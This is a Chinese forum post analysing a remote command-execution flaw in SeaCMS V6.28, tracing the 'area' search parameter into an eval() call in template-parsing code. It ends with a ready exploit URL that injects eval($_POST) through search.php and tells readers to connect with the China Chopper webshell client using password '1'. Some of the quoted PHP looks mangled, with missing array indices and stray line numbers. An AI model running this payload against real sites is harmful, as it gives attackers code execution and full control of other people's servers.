普陀 发表于 2024-10-8 12:57:59

海洋CMSV6.28命令执行漏洞

0x00 代码审计area参数处理过的地方经过字符是否非法判断之后,调用echoSearchPage()函数area参数经过了检测是否是拼音之后接下来到了
1
$content=$mainClassObj->parseSearchItemList($content,"area");


因为能执行php代码一般就是eval()函数
搜索一下这个页面有eval函数的地方
1
2
3
4
5
6
7
8
9
10
11
12
13
14
for($m=0;$m<$arlen;$m++){ $strIf=$iar[$m]; $strIf=$this->parseStrIf($strIf);
$strThen=$iar[$m];
$strThen=$this->parseSubIf($strThen);
if (strpos($strThen,$labelRule2)===false){
if (strpos($strThen,$labelRule3)>=0){
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray;
$strElse1=$elsearray;
@eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");
if ($ifFlag){ $content=str_replace($iar[$m],$strThen1,$content);} else {$content=str_replace($iar[$m],$strElse1,$content);}
}else{
@eval("if(".$strIf.") { $ifFlag=true;} else{ $ifFlag=false;}");
if ($ifFlag) $content=str_replace($iar[$m],$strThen,$content); else $content=str_replace($iar[$m],"",$content);}
}


可以在这里下个断点,把变量打印出来就可以清晰的看到就是在这执行了我们的命令
1
2
0x01 EXP
/search.php?searchtype=5&tid=&area=eval($_POST)


直接菜刀链接 链接密码1
页: [1]
查看完整版本: 海洋CMSV6.28命令执行漏洞